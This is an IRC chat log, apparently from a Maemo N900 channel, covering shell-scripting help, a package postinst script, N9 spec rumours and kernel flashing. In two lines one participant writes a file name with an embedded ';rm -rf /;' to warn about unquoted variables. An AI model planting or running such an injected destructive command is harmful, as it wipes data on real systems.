BCMM_	MohammadAG: sed 's/\.\///'	22:11
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maybeWTF	~n8	22:11
BCMM_	MohammadAG: unless i misunderstand the question	22:12
DocScrutinizer	why do you use sed, anyway	22:12
MohammadAG	oh, ''	22:12
DocScrutinizer	wouldn't a basename do better	22:12
Myrtti	could you please quit fooling around with the bot	22:12
DocScrutinizer	?	22:12
MohammadAG	sed s/.\///g didn't work	22:12
Noobmonk3y	meh	22:12
MohammadAG	thanks BCMM_	22:12
MohammadAG	DocScrutinizer, basename?	22:12
maybeWTF	by the way, does anybody else find that ad where they put the n8 to "power" robots & whatnot slightly insulting?	22:12
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MohammadAG	Nokia-N900:/var/lib/dpkg/info$ find -name mp-fremantle*.list \| sed s/.list//g \| sed 's/\.\///'	22:12
MohammadAG	mp-fremantle-generic-pr	22:12
BCMM_	MohammadAG: i guess that's because you need to escape the . too	22:12
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Noobmonk3y	s/meh/meh meh/	22:12
infobot	Noobmonk3y meant: meh meh	22:12
MohammadAG	BCMM_, tried that	22:12
BCMM_	MohammadAG: it is indeed true that basename would be easier here	22:12
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Noobmonk3y	frals, why so quiet?	22:14
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DocScrutinizer	MohammadAG:	22:14
Khertan	someone have the right to admin maemo builder ? seems he didn't want to build my package :)	22:14
DocScrutinizer	jr@halley:~> basename /home/jr/.xinitrc.template	22:14
DocScrutinizer	.xinitrc.template	22:14
MohammadAG	Nokia-N900:/var/lib/dpkg/info# basename mp-fremantle-*.list	22:14
MohammadAG	mp-fremantle-generic-pr.list	22:14
Noobmonk3y	that sounds geeky!	22:14
MohammadAG	I need to remove the extension	22:14
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DocScrutinizer	how much of it?	22:15
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DocScrutinizer	til first dot, til last dot?	22:15
DocScrutinizer	meh, need to fetch my pizza	22:15
DocScrutinizer	bbl	22:15
Noobmonk3y	emjoy	22:16
Noobmonk3y	:)	22:16
* Noobmonk3y wishes there was 48 hours in a day!		22:16
gregoa	MohammadAG: "basename mp-fremantle-*.list .list"	22:16
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MohammadAG	http://pastebin.com/ag6VULmS so this should work right?	22:19
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BCMM_	MohammadAG: will there be only one file matching /var/lib/dpkg/info/mp-fremantle-*.list?	22:20
BCMM_	and did you mean to put .list in twice?	22:20
sar3th	yo guys, does anyone know which song they used here? http://maemo.nokia.com/videos/introducing-maemo-5/	22:20
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MohammadAG	BCMM_, yes, and <gregoa> MohammadAG: "basename mp-fremantle-*.list .list"	22:20
gregoa	BCMM_: the tailing .list is to cut off the .list extension	22:20
gregoa	and yes, there should be only one	22:21
BCMM_	gregoa: ah, didn't know basename did that	22:21
gregoa	MohammadAG: I'd just try it with "echo" before "dpkg" :)	22:21
* MohammadAG didn't know about basename		22:21
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MohammadAG	it's not a needed package really	22:21
* MohammadAG tries script		22:21
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BCMM_	right before i found out about basename, i did horrid things in sed too	22:22
* gregoa always forgets about basename but remembers the second parameter		22:22
sar3th	the media player in the video says "Grum - Go Back", but i couldn't find that track anywhere, only "Le Castle Vania Remix" which is pretty close, so i wondered whether anyone knows whether there is an original version of the song and where to get it	22:22
BCMM_	MohammadAG: well, i'm sure it's a very, very tiny program	22:23
BCMM_	MohammadAG: since it's presumably mostly just a call to basename() from libgen.h	22:24
BCMM_	also, i suspect it's in POSIX or something and loads of stuff uses it	22:25
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DocScrutinizer	MohammadAG: always "tick" $vars in script! otherwise just a silly "space in filename" will break things, not to mention doom coming from more weird stuff	22:29
MohammadAG	DocScrutinizer, I know, but the $vars should not have space files in this case	22:30
DocScrutinizer	mv foo ';rm -rf /;'	22:30
MohammadAG	this is BS ... http://www.gsmarena.com/nokia_n9-3398.php	22:30
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DocScrutinizer	mv /var/lib/dpkg/info/mp-fremantle-*.list '/var/lib/dpkg/info/mp-fremantle-foo;rm -rf /;.list'	22:32
BCMM_	MohammadAG: "the $vars should not have space files in this case" - famous last words...	22:32
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DocScrutinizer	yep :-P	22:33
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luke-jr	you know, Microsoft really did have a good idea with that "Program Files"…	22:34
DocScrutinizer	seen even commercial .doc->.pdf converters fail when the *.doc had a filename with a space :-P	22:34
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BCMM_	MohammadAG: as in the specs are stupid, or as in the specs are unsourced fabrication?	22:34
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MohammadAG	BCMM_, both	22:35
MohammadAG	more of the former	22:35
MohammadAG	I thought it was a higher res	22:35
MohammadAG	and OMAP3	22:36
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DocScrutinizer	- Handwriting recognition PFFFFT	22:37
DocScrutinizer	ofc, + c-ts	22:38
luke-jr	MohammadAG: N900 is OMAP3…	22:38
BCMM_	flash lite seems extremely improbable to me	22:38
DocScrutinizer	1 GB ROM! WTF? don't they know diff tween NAND and ROM?	22:39
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luke-jr	lol	22:39
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DocScrutinizer	aah yes, BT with USB-OTG support	22:40
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BCMM_	also, WAP? seriously?	22:41
Myrtti	Java: yes, MIDP2	22:41
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DocScrutinizer	and snapdragon, errr... cough	22:41
MohammadAG	luke-jr, yes, so?	22:42
MohammadAG	luke-jr, I'm talking about the N9	22:42
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Myrtti	mmmmmm the smell of freshly washed clothes - and lovely soft jammies	22:44
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DocScrutinizer	hmmmm pizza	22:46
DocScrutinizer	I can't wait to see "Voice command/dial"	22:47
lcuk	"computer, warm jammies"	22:47
DocScrutinizer	on meego HE (==maemo, basically)	22:47
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DocScrutinizer	really curious what blob abomination Nokia is shoving down our throat this time	22:48
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Myrtti	lcuk: oy, I did laundry all by myself!	22:48
Myrtti	no need for computer in that...	22:49
DocScrutinizer	I'd actually accept a blob if only it works on maemo too	22:49
lcuk	ok then "Myrtti, warm jammies"	22:49
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Myrtti	slap wash your own	22:50
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ioan	I was playing NOVA on my n900, after completing the training, how do you go to the next level? :-)	22:51
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lcuk	Myrtti, :D but you do them so well	22:52
* lcuk puts them in the dryer for a bit		22:53
CutMeOwnThroat	he says that a lot	22:53
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* GAN900 sighs.		22:54
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GAN900	Broken image of the puddle of piss.	22:54
Stskeeps	hmm?	22:54
Myrtti	anyway, whole day has been full of fail so I might as well go to bed, perhaps tomorrow isn't going to be so full of fuckups as today... then again, I've said that for two months now, and it's mainly gotten just worse.	22:54
GAN900	Locking it before Image processing is done is apparently bad for your photos.	22:54
lcuk	Myrtti, are you performing similar tasks as we have discussed in the past?	22:55
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Myrtti	lcuk: probably worse	22:55
lcuk	or is this a different level of fail	22:55
lcuk	then gimme your jammies, I will rewarm them for you	22:56
acemo	would it be possible to use flasher 3.5 on a pure 64-bit linux?	22:56
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Myrtti	but perhaps tomorrow I'll get an assesment on how much fixing my phone will cost	22:58
ShadowJK	myrtti: what's wrong with it	22:59
DocScrutinizer	Myrtti: try to top today's fuckups tomorrow - "just let's see how evil it gets if I push". I bet you'll find the day went by and not even 50% of the expected fuckups were successful, so in the end a better day	22:59
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Myrtti	ShadowJK: wanna see a video? I've made a video	23:00
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Myrtti	http://www.youtube.com/watch?v=GUjQ9uGynyA ten minutes of lovely classical piano music in a loop, with a couple of jokes.	23:01
ShadowJK	can't view videos right now, so a description would be cool	23:01
Myrtti	and sorry, no, it's not a Nokia phone. A Nexus One being stuck in boot	23:01
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ShadowJK	aw	23:02
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ShadowJK	man how/where do you even get those fixed	23:02
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DocScrutinizer	junkyard?	23:03
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MohammadAG	have I covered all cases http://pastebin.com/TkKrayVA ?	23:03
DocScrutinizer	nah, probably Radiology at hospital	23:04
* MohammadAG pokes DocScrutinizer and lcuk ^		23:04
habmala	hi all, I'm looking for a place to request apps on the site. I know I've seen them around on both forum and wiki. It feels better using an existing thread than just starting a new one. Does anyone have a link?	23:04
Myrtti	that is a good question. The first question I was asked at the place was "do you have a warranty certificate" and I said "would you believe that the only proof that I've got this device is a tick by my name on a big list, kept in the filing cabinet of Chris diBona at Google HQ?"	23:04
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DocScrutinizer	stop posting, I can't click it :-P	23:04
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Myrtti	the girl smiled and said "I do, but I don't know if the guys will, so I'll just file this phone under 'no warranty certificate available'"	23:05
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gregoa	MohammadAG: line 6 can be written as "ps ax \| grep -q [a]pt-worker". -q instead of the redirect, and user a pattern saves the "grep -v grep". please note that I've only tested with GNU grep, not sure about busybox	23:08
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gregoa	MohammadAG: aptitude is not covered. but in general I think killing running processing is a bit brutal. I'd rather "exit 1" after the "echo please exit ..."	23:09
DocScrutinizer	gregoa: nice	23:09
MohammadAG	gregoa, (killing), the script is run from postinst, there's no other way	23:09
DocScrutinizer	and ack for the "bit brute"	23:09
gregoa	MohammadAG: why is there a "read kexpress" for HAM but not for apt/dpkg/(apt-get/aptitude)	23:09
MohammadAG	forgot about it, haven't tested the script	23:10
gregoa	MohammadAG: ok, postinst was the piece I missed :)	23:10
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MohammadAG	gregoa, I need to fork it from the postinst, then ask the user to close HAM since they will most probably have it open	23:11
gregoa	(pgrep also works instead of "ps ax \| grep foo" but only if it's installed ...)	23:11
DocScrutinizer	MohammadAG: also you may see races, as you wait on several places, and test conditions only once. I'd restart the whole script on any error, to recheck all	23:11
DocScrutinizer	gregoa: no pgrep in messybox	23:11
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gregoa	DocScrutinizer: it's in busybox-symlinks-procps, no idea if this is installed by default. OTOH I'm sure I haven't installed it myself :)	23:12
DocScrutinizer	let's see	23:12
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DocScrutinizer	Nokia-N900-02-8:~# busybox pgrep --help	23:13
DocScrutinizer	BusyBox v1.10.2 (Debian 3:1.10.2.legal-1osso26+0m5) multi-call binary	23:13
DocScrutinizer	Usage: pgrep [-flnovx] pattern	23:13
DocScrutinizer	MohammadAG: killall apt-worker isn't doing what you hope it does I guess. apt won't exit instantly, instead it probably does cleanup to exit gracefully, and this takes time	23:14
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gregoa	hm. in fact I'm not sure if running dpkg from a running dpkg (postinst) works at all.	23:15
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MohammadAG	gregoa, that's why I fork it...	23:16
MohammadAG	that's not the postinst itself	23:17
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gregoa	ah. sounds like an adventurous exercise but might be worth trying :)	23:17
MohammadAG	this is the postinst, nohup osso-xterm "sudo /root/script.sh" & exit	23:17
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MohammadAG	should be exit 0	23:17
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MohammadAG	btw why does update-sudoers make my postinst exit with status 255 if I don't use exit 0?	23:18
gregoa	MohammadAG: I'm probably missing something but wouldn't an mp-fremantle-community-pr package that has a "Conflicts: mp-fremantle-foo, mp-fremantle-bar, ..." be enough the replace them?	23:19
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luke-jr	MohammadAG: why wouldn't N9 be OMAP3?	23:23
MohammadAG	luke-jr, you're missing the point, it says snapdragon	23:23
MohammadAG	read up	23:24
MohammadAG	gregoa, HAM says package conflicts, unable to install	23:24
MohammadAG	or something on that line	23:24
luke-jr	cool, even better than OMAP	23:24
MohammadAG	luke-jr, I'm saying the specs are BS	23:24
gregoa	MohammadAG: ok, I feared something like that. silly HAM.	23:24
luke-jr	:p	23:24
MohammadAG	gregoa, Replaces: is ignored	23:24
gregoa	MohammadAG: Replaces wouldn't be necessary since, AFAIK, mp-fremantle-* doesn't contain any files	23:25
MohammadAG	indeed	23:25
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luke-jr	mp-fremantle-pizza-pr	23:25
mece	aaahaha	23:26
mece	LOLpost: http://talk.maemo.org/showpost.php?p=855074&postcount=10	23:26
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habmala	In lack of a better place I just posted to the apps section of the forum..	23:27
habmala	hope it gets through to the right people ;)	23:28
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ShadowJK	well, cmt has only crashed 25 times in 10 hours. This is maybe half of what it did before I handed in my N900 for repairing cmt	23:34
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ShadowJK	it was 0 November - September :/	23:34
* ShadowJK sighs		23:34
DocScrutinizer	ShadowJK: oops, cmt crashs are definitely something Nokia should have fixed for good	23:34
ShadowJK	They don't happen when you have it on a tablet or in a jig or whatever	23:35
DocScrutinizer	ShadowJK: still it might be difficult as could be caused by BTS brainfsck	23:35
ShadowJK	No it's quite strongly correlated with sudden movements	23:36
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ShadowJK	Like say having it in trouser pocket and walking	23:37
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DocScrutinizer	ShadowJK: e.g. PWRLVL tx power attenuation - which is controlled by BTS via sending cmd to MT - could do havoc due to non-stds- conforming protocol	23:37
DocScrutinizer	or the freq-adjust does, which is roughly working similarly	23:38
ShadowJK	before I sent it in, pressing k on keyboard would make it drop connection	23:38
ruskie	hmm is the power kernel compatible with pr1.3?	23:38
DocScrutinizer	ouch	23:38
DocScrutinizer	thao doubtt's mechanical, n	23:38
DocScrutinizer	grrrr	23:39
ruskie	also is there a less-than power kernel where it only enables various vanilla stuff?	23:39
DocScrutinizer	that's mechanical, no doubt	23:39
ShadowJK	yes	23:39
DocScrutinizer	ruskie: power-kernel is pre-1.3	23:39
DocScrutinizer	pester titan to update	23:40
DocScrutinizer	or maybe MohammadAG does	23:40
ShadowJK	I had hoped my N900 would last until next device :-(	23:40
Stskeeps	if he didn't get eaten by the lemmings in the overclock thread	23:40
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ruskie	I guess I'll have to figure out how to roll my own... since it has way to many fiddly bits... just want the same kernel but with a lot of extra modules	23:40
DocScrutinizer	Stskeeps: hehehehe >:-)	23:40
MohammadAG	does what?	23:41
DocScrutinizer	power-kernel 1.3	23:41
DocScrutinizer	I.E throw titan's patches on stock 1.3 kernel	23:42
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ruskie	or maybe make a non-patched one	23:42
DocScrutinizer	err wut?	23:42
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ruskie	just enable all the various extras	23:42
DocScrutinizer	this ARE the patches ;-)	23:42
ruskie	no	23:43
DocScrutinizer	hmm, no idea	23:43
ruskie	the various patches are for the various fidly OCing and other crap	23:43
DocScrutinizer	ruskie: you'll have to do that yourself	23:43
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ruskie	as soon as I figure out how to	23:43
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DocScrutinizer	nobody wants to strip down an augmented kernel so you feel more comfy with it	23:44
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DocScrutinizer	or is there any other benefit in that exercise, beyond you feeling better?	23:45
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DocScrutinizer	well, module a few 100k smaller size of vmlinuz maybe	23:47
DocScrutinizer	modulo*	23:47
DocScrutinizer	Stskeeps: AIUI we got a 2MB kernel partition, which - I seem to have heard - even gets small without uBoot. Any plans how to tackle that, or am I mistaken?	23:49
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Stskeeps	there's a 2mb initrd partition if you're so included..	23:49
Stskeeps	inclined	23:50
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SpeedEvil	DocScrutinizer: http://tree.celinuxforum.org/pipermail/celinux-dev/2010-January/001995.html	23:50
MohammadAG51	DocScrutinizer, suggestion for better hotswap	23:50
MohammadAG51	insert battery, remove charger, start bme	23:50
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MohammadAG51	no need to lock/unlock to get screen back	23:51
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DocScrutinizer	ok, goot find :-)	23:51
DocScrutinizer	good*	23:51
DocScrutinizer	damn, sorry. Doc needs coffee	23:51
* ShadowJK wonders if the "use another phone's internet connection on N900 over bluetooth" ever got to a working stage		23:51
ruskie	hmm anyone used that free flasher to flash stuff to the n900 yet?	23:51
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ShadowJK	I could maybe use my old cellphone to give cellular access to N900 :/	23:52
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MohammadAG	ruskie, PaulFertser I think	23:53
ruskie	successfully?	23:53
PaulFertser	ruskie: yes	23:53
PaulFertser	ruskie: for flashing and turning R&D mode, yes.	23:53
ruskie	just want to flash a test kernel	23:53
PaulFertser	ruskie: unsuccessfully for backing up a flashed kernel.	23:53
ruskie	gah... why do I keep forgetting what it's named...	23:54
MohammadAG	0xFFFF	23:54
ruskie	thanks	23:54
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KaffeeJunky1231	I've some strange issues with pr1.3, applications I've installed from the repos don't showup anywhere and even with mc I can't find their executables. Namely the load-applet and the cpumem-load programm do have this issue.	23:55
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KaffeeJunky1231	Any ideas how to solve that problem?	23:56
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MohammadAG	...	23:56
DocScrutinizer	>>(Try running your rootkit on _that_ box.)<< LOL	23:56
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MohammadAG	load-applet is loaded on the status menu, no icon	23:57
mikki-kun	so... i am about to remake my n900 as i have pretty much stuff on it which i don't want anymore and it got a lil more messed up than i wanted... should i go with pr 1.3 or still stick to pr 1.2?	23:57
SpeedEvil	it's a shared library of hildon-desktop	23:57
MohammadAG	1.3	23:58
SpeedEvil	all toolbar widgets are	23:58
KaffeeJunky1231	Oh :>	23:58
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SpeedEvil	->kaf	23:58
KaffeeJunky1231	My bad	23:58
DocScrutinizer	SpeedEvil: Stskeeps: anyway my question targeted direction partitioning, not downsizing kernel to a 'hello world' 0.0.1 version	23:58
mikki-kun	MohammadAG: anything really major fixed which i will see?	23:58
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BCMM_	is there a nice list somewhere of exactly what the differences between the regional versions of maemo are?	23:58
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MohammadAG	other than stuttering, no	23:58
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mikki-kun	so... nokia fixes the n900 stuttering and just leaves it now in the wild all alone by itself?!	23:59
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mikki-kun	cool, at least it knows how to talk...	23:59
BCMM_	which stuttering? the interface being slow when the CPU is loaded?	23:59
ruskie	what stuttering?	23:59

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